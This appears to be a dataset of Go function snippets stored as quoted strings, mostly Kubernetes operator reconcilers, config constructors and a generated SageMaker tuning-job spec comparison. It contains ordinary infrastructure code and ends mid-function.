{\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.DefinitionName\", a.ko.Spec.TrainingJobDefinition.DefinitionName, b.ko.Spec.TrainingJobDefinition.DefinitionName)\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption, b.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption\", a.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption, b.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption != nil && b.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption != nil {\n\t\t\tif *a.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption != *b.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption\", a.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption, b.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption)\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining, b.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.EnableManagedSpotTraining\", a.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining, b.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining != nil && b.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining != nil {\n\t\t\tif *a.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining != *b.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.EnableManagedSpotTraining\", a.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining, b.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining)\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation, b.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.EnableNetworkIsolation\", a.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation, b.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation != nil && b.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation != nil {\n\t\t\tif *a.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation != *b.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.EnableNetworkIsolation\", a.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation, b.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation)\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.HyperParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.HyperParameterRanges\", a.ko.Spec.TrainingJobDefinition.HyperParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.HyperParameterRanges != nil && b.ko.Spec.TrainingJobDefinition.HyperParameterRanges != nil {\n\t\t\tif !reflect.DeepEqual(a.ko.Spec.TrainingJobDefinition.HyperParameterRanges.CategoricalParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges.CategoricalParameterRanges) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.HyperParameterRanges.CategoricalParameterRanges\", a.ko.Spec.TrainingJobDefinition.HyperParameterRanges.CategoricalParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges.CategoricalParameterRanges)\n\t\t\t}\n\t\t\tif !reflect.DeepEqual(a.ko.Spec.TrainingJobDefinition.HyperParameterRanges.ContinuousParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges.ContinuousParameterRanges) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.HyperParameterRanges.ContinuousParameterRanges\", a.ko.Spec.TrainingJobDefinition.HyperParameterRanges.ContinuousParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges.ContinuousParameterRanges)\n\t\t\t}\n\t\t\tif !reflect.DeepEqual(a.ko.Spec.TrainingJobDefinition.HyperParameterRanges.IntegerParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges.IntegerParameterRanges) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.HyperParameterRanges.IntegerParameterRanges\", a.ko.Spec.TrainingJobDefinition.HyperParameterRanges.IntegerParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges.IntegerParameterRanges)\n\t\t\t}\n\t\t}\n\t\tif !reflect.DeepEqual(a.ko.Spec.TrainingJobDefinition.InputDataConfig, b.ko.Spec.TrainingJobDefinition.InputDataConfig) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.InputDataConfig\", a.ko.Spec.TrainingJobDefinition.InputDataConfig, b.ko.Spec.TrainingJobDefinition.InputDataConfig)\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.OutputDataConfig, b.ko.Spec.TrainingJobDefinition.OutputDataConfig) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.OutputDataConfig\", a.ko.Spec.TrainingJobDefinition.OutputDataConfig, b.ko.Spec.TrainingJobDefinition.OutputDataConfig)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.OutputDataConfig != nil && b.ko.Spec.TrainingJobDefinition.OutputDataConfig != nil {\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID, b.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID\", a.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID, b.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID != nil && b.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID != *b.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID\", a.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID, b.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath, b.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath\", a.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath, b.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath != nil && b.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath != *b.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath\", a.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath, b.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.ResourceConfig, b.ko.Spec.TrainingJobDefinition.ResourceConfig) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.ResourceConfig\", a.ko.Spec.TrainingJobDefinition.ResourceConfig, b.ko.Spec.TrainingJobDefinition.ResourceConfig)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.ResourceConfig != nil && b.ko.Spec.TrainingJobDefinition.ResourceConfig != nil {\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount, b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.ResourceConfig.InstanceCount\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount, b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount != nil && b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount != *b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.ResourceConfig.InstanceCount\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount, b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType, b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.ResourceConfig.InstanceType\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType, b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType != nil && b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType != *b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.ResourceConfig.InstanceType\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType, b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID, b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID, b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID != nil && b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID != *b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID, b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB, b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB, b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB != nil && b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB != *b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB, b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.RoleARN, b.ko.Spec.TrainingJobDefinition.RoleARN) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.RoleARN\", a.ko.Spec.TrainingJobDefinition.RoleARN, b.ko.Spec.TrainingJobDefinition.RoleARN)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.RoleARN != nil && b.ko.Spec.TrainingJobDefinition.RoleARN != nil {\n\t\t\tif *a.ko.Spec.TrainingJobDefinition.RoleARN != *b.ko.Spec.TrainingJobDefinition.RoleARN {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.RoleARN\", a.ko.Spec.TrainingJobDefinition.RoleARN, b.ko.Spec.TrainingJobDefinition.RoleARN)\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.StaticHyperParameters, b.ko.Spec.TrainingJobDefinition.StaticHyperParameters) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.StaticHyperParameters\", a.ko.Spec.TrainingJobDefinition.StaticHyperParameters, b.ko.Spec.TrainingJobDefinition.StaticHyperParameters)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.StaticHyperParameters != nil && b.ko.Spec.TrainingJobDefinition.StaticHyperParameters != nil {\n\t\t\tif !ackcompare.MapStringStringPEqual(a.ko.Spec.TrainingJobDefinition.StaticHyperParameters, b.ko.Spec.TrainingJobDefinition.StaticHyperParameters) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.StaticHyperParameters\", a.ko.Spec.TrainingJobDefinition.StaticHyperParameters, b.ko.Spec.TrainingJobDefinition.StaticHyperParameters)\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.StoppingCondition, b.ko.Spec.TrainingJobDefinition.StoppingCondition) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.StoppingCondition\", a.ko.Spec.TrainingJobDefinition.StoppingCondition, b.ko.Spec.TrainingJobDefinition.StoppingCondition)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.StoppingCondition != nil && b.ko.Spec.TrainingJobDefinition.StoppingCondition != nil {\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds, b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds\", a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds, b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds != nil && b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds != *b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds\", a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds, b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds, b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds\", a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds, b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds != nil && b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds != *b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds\", a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds, b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.TuningObjective, b.ko.Spec.TrainingJobDefinition.TuningObjective) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.TuningObjective\", a.ko.Spec.TrainingJobDefinition.TuningObjective, b.ko.Spec.TrainingJobDefinition.TuningObjective)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.TuningObjective != nil && b.ko.Spec.TrainingJobDefinition.TuningObjective != nil {\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName, b.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.TuningObjective.MetricName\", a.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName, b.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName != nil && b.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName != *b.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.TuningObjective.MetricName\", a.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName, b.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.TuningObjective.Type, b.ko.Spec.TrainingJobDefinition.TuningObjective.Type) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.TuningObjective.Type\", a.ko.Spec.TrainingJobDefinition.TuningObjective.Type, b.ko.Spec.TrainingJobDefinition.TuningObjective.Type)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.TuningObjective.Type != nil && b.ko.Spec.TrainingJobDefinition.TuningObjective.Type != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.TuningObjective.Type != *b.ko.Spec.TrainingJobDefinition.TuningObjective.Type {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.TuningObjective.Type\", a.ko.Spec.TrainingJobDefinition.TuningObjective.Type, b.ko.Spec.TrainingJobDefinition.TuningObjective.Type)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.VPCConfig, b.ko.Spec.TrainingJobDefinition.VPCConfig) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.VPCConfig\", a.ko.Spec.TrainingJobDefinition.VPCConfig, b.ko.Spec.TrainingJobDefinition.VPCConfig)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.VPCConfig != nil && b.ko.Spec.TrainingJobDefinition.VPCConfig != nil {\n\t\t\tif !ackcompare.SliceStringPEqual(a.ko.Spec.TrainingJobDefinition.VPCConfig.SecurityGroupIDs, b.ko.Spec.TrainingJobDefinition.VPCConfig.SecurityGroupIDs) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.VPCConfig.SecurityGroupIDs\", a.ko.Spec.TrainingJobDefinition.VPCConfig.SecurityGroupIDs, b.ko.Spec.TrainingJobDefinition.VPCConfig.SecurityGroupIDs)\n\t\t\t}\n\t\t\tif !ackcompare.SliceStringPEqual(a.ko.Spec.TrainingJobDefinition.VPCConfig.Subnets, b.ko.Spec.TrainingJobDefinition.VPCConfig.Subnets) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.VPCConfig.Subnets\", a.ko.Spec.TrainingJobDefinition.VPCConfig.Subnets, b.ko.Spec.TrainingJobDefinition.VPCConfig.Subnets)\n\t\t\t}\n\t\t}\n\t}\n\tif !reflect.DeepEqual(a.ko.Spec.TrainingJobDefinitions, b.ko.Spec.TrainingJobDefinitions) {\n\t\tdelta.Add(\"Spec.TrainingJobDefinitions\", a.ko.Spec.TrainingJobDefinitions, b.ko.Spec.TrainingJobDefinitions)\n\t}\n\tif ackcompare.HasNilDifference(a.ko.Spec.WarmStartConfig, b.ko.Spec.WarmStartConfig) {\n\t\tdelta.Add(\"Spec.WarmStartConfig\", a.ko.Spec.WarmStartConfig, b.ko.Spec.WarmStartConfig)\n\t} else if a.ko.Spec.WarmStartConfig != nil && b.ko.Spec.WarmStartConfig != nil {\n\t\tif !reflect.DeepEqual(a.ko.Spec.WarmStartConfig.ParentHyperParameterTuningJobs, b.ko.Spec.WarmStartConfig.ParentHyperParameterTuningJobs) {\n\t\t\tdelta.Add(\"Spec.WarmStartConfig.ParentHyperParameterTuningJobs\", a.ko.Spec.WarmStartConfig.ParentHyperParameterTuningJobs, b.ko.Spec.WarmStartConfig.ParentHyperParameterTuningJobs)\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.WarmStartConfig.WarmStartType, b.ko.Spec.WarmStartConfig.WarmStartType) {\n\t\t\tdelta.Add(\"Spec.WarmStartConfig.WarmStartType\", a.ko.Spec.WarmStartConfig.WarmStartType, b.ko.Spec.WarmStartConfig.WarmStartType)\n\t\t} else if a.ko.Spec.WarmStartConfig.WarmStartType != nil && b.ko.Spec.WarmStartConfig.WarmStartType != nil {\n\t\t\tif *a.ko.Spec.WarmStartConfig.WarmStartType != *b.ko.Spec.WarmStartConfig.WarmStartType {\n\t\t\t\tdelta.Add(\"Spec.WarmStartConfig.WarmStartType\", a.ko.Spec.WarmStartConfig.WarmStartType, b.ko.Spec.WarmStartConfig.WarmStartType)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn delta\n}", "func newReconciler(mgr manager.Manager) reconcile.Reconciler {\n\tr := &ReconcileImageRegistry{\n\t\tclient: mgr.GetClient(),\n\t\tscheme: mgr.GetScheme(),\n\t\tcertManager: certs.NewCertManager(mgr.GetClient(), mgr.GetScheme(), certs.RootCASecretName()),\n\t\tdnsZone: DNSZone(),\n\t\timageAuth: os.Getenv(EnvImageAuth),\n\t\timageNginx: os.Getenv(EnvImageNginx),\n\t\timageRegistry: os.Getenv(EnvImageRegistry),\n\t}\n\tif r.imageAuth == \"\" {\n\t\tr.imageAuth = \"mgoltzsche/image-registry-operator:latest-auth\"\n\t}\n\tif r.imageNginx == \"\" {\n\t\tr.imageNginx = \"mgoltzsche/image-registry-operator:latest-nginx\"\n\t}\n\tif r.imageRegistry == \"\" {\n\t\tr.imageRegistry = \"registry:2\"\n\t}\n\tr.reconcileTasks = []reconcileTask{\n\t\tr.reconcileTokenCert,\n\t\tr.reconcileTLSCert,\n\t\tr.reconcileServiceAccount,\n\t\tr.reconcileRole,\n\t\tr.reconcileRoleBinding,\n\t\tr.reconcileService,\n\t\tr.reconcileStatefulSet,\n\t\tr.reconcilePersistentVolumeClaim,\n\t}\n\treturn r\n}", "func defaultConfig() interface{} {\n\treturn &conf{\n\t\tPools: make(map[string]poolConfig),\n\t\tLabelNode: false,\n\t\tTaintNode: false,\n\t}\n}", "func NewConfig() *Config {\n\treturn NewConfigWithID(operatorType)\n}", "func NewConfig() *Config {\n\treturn NewConfigWithID(operatorType)\n}", "func NewConfig() *Config {\n\treturn NewConfigWithID(operatorType)\n}", "func NewConfig() *Config {\n\treturn NewConfigWithID(operatorType)\n}", "func createDefaultConfig() component.Config {\n\treturn &Config{\n\t\tProtocols: Protocols{\n\t\t\tGRPC: &configgrpc.GRPCServerSettings{\n\t\t\t\tNetAddr: confignet.NetAddr{\n\t\t\t\t\tEndpoint: defaultGRPCEndpoint,\n\t\t\t\t\tTransport: \"tcp\",\n\t\t\t\t},\n\t\t\t\t// We almost write 0 bytes, so no need to tune WriteBufferSize.\n\t\t\t\tReadBufferSize: 512 * 1024,\n\t\t\t},\n\t\t\tHTTP: &HTTPConfig{\n\t\t\t\tHTTPServerSettings: &confighttp.HTTPServerSettings{\n\t\t\t\t\tEndpoint: defaultHTTPEndpoint,\n\t\t\t\t},\n\t\t\t\tTracesURLPath: defaultTracesURLPath,\n\t\t\t\tMetricsURLPath: defaultMetricsURLPath,\n\t\t\t\tLogsURLPath: defaultLogsURLPath,\n\t\t\t},\n\t\t},\n\t}\n}", "func (s *cpuSource) NewConfig() source.Config { return newDefaultConfig() }", "func newDynconfigLocal(path string) (*dynconfigLocal, error) {\n\td := &dynconfigLocal{\n\t\tfilepath: path,\n\t}\n\n\treturn d, nil\n}", "func createFromResources(dp *v1alpha1.EdgeDataplane, da *v1alpha1.EdgeTraceabilityAgent) (*APIGatewayConfiguration, error) {\n\n\tcfg := &APIGatewayConfiguration{\n\t\tHost: dp.Spec.ApiGatewayManager.Host,\n\t\tPort: int(dp.Spec.ApiGatewayManager.Port),\n\t\tEnableAPICalls: da.Spec.Config.ProcessHeaders,\n\t\tPollInterval: 1 * time.Minute,\n\t}\n\n\tif dp.Spec.ApiGatewayManager.PollInterval != \"\" {\n\t\tresCfgPollInterval, err := time.ParseDuration(dp.Spec.ApiGatewayManager.PollInterval)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcfg.PollInterval = resCfgPollInterval\n\t}\n\treturn cfg, nil\n}", "func newConfigFromString(t *testing.T, configString string) (Config, func(), error) {\n\ttestFs, testFsTeardown := setupTestFs()\n\n\terr := afero.WriteFile(testFs, \"config.properties\", []byte(configString), 0644)\n\n\tif err != nil {\n\t\t// Fatal stops the goroutine before the caller can defer the teardown function\n\t\t// run it manually now\n\t\ttestFsTeardown()\n\t\tConfigViperHook = func(v *viper.Viper) {}\n\n\t\tt.Fatal(\"cannot make file\", \"config.properties\", err)\n\t}\n\n\tConfigViperHook = func(v *viper.Viper) {\n\t\tv.SetFs(GetIndexFs())\n\t}\n\n\tlog.DEBUG.Printf(\"loading config from '%s'\\n\", configString)\n\n\tc, err := NewConfig(\"config.properties\")\n\n\treturn c, func() {\n\t\ttestFsTeardown()\n\t\tConfigViperHook = func(v *viper.Viper) {}\n\t}, err\n}", "func NewConfig() Config {\n\treturn Config{\n\t\t0.0, 0.0,\n\t\t4.0, 4.0,\n\t\t1000, 1000,\n\t\t512,\n\t\t\"ramp.json\",\n\t\t\"default.gob\",\n\t\t\"output.jpg\",\n\t\t\"000000\",\n\t\t0.0, 0.0}\n}", "func NewReconciler(m ctrl.Manager, o ...ReconcilerOption) *Reconciler {\n\tr := &Reconciler{\n\t\tclient: m.GetClient(),\n\t\tlog: logging.NewNopLogger(),\n\t\trecord: event.NewNopRecorder(),\n\t\tcheckers: []WorloadHealthChecker{\n\t\t\tWorkloadHealthCheckFn(CheckContainerziedWorkloadHealth),\n\t\t\tWorkloadHealthCheckFn(CheckDeploymentHealth),\n\t\t\tWorkloadHealthCheckFn(CheckStatefulsetHealth),\n\t\t\tWorkloadHealthCheckFn(CheckDaemonsetHealth),\n\t\t},\n\t}\n\tfor _, ro := range o {\n\t\tro(r)\n\t}\n\n\treturn r\n}", "func newReconciler(mgr manager.Manager, channelDescriptor *utils.ChannelDescriptor, logger logr.Logger) reconcile.Reconciler {\n\treturn &ReconcileDeployable{\n\t\tKubeClient: mgr.GetClient(),\n\t\tChannelDescriptor: channelDescriptor,\n\t\tLog: logger,\n\t}\n}", "func newTransportMutation(c config, op Op, opts ...transportOption) *TransportMutation {\n\tm := &TransportMutation{\n\t\tconfig: c,\n\t\top: op,\n\t\ttyp: TypeTransport,\n\t\tclearedFields: make(map[string]struct{}),\n\t}\n\tfor _, opt := range opts {\n\t\topt(m)\n\t}\n\treturn m\n}", "func newDryrunOptions(streams genericclioptions.IOStreams) *dryrunOptions {\n\to := &dryrunOptions{\n\t\tconfigFlags: genericclioptions.NewConfigFlags(false),\n\n\t\tIOStreams: streams,\n\t}\n\n\treturn o\n}", "func unstructuredUnsupportedConfigFromWithPrefix(rawConfig []byte, prefix []string) ([]byte, error) {\n\tif len(prefix) == 0 {\n\t\treturn rawConfig, nil\n\t}\n\n\tprefixedConfig := 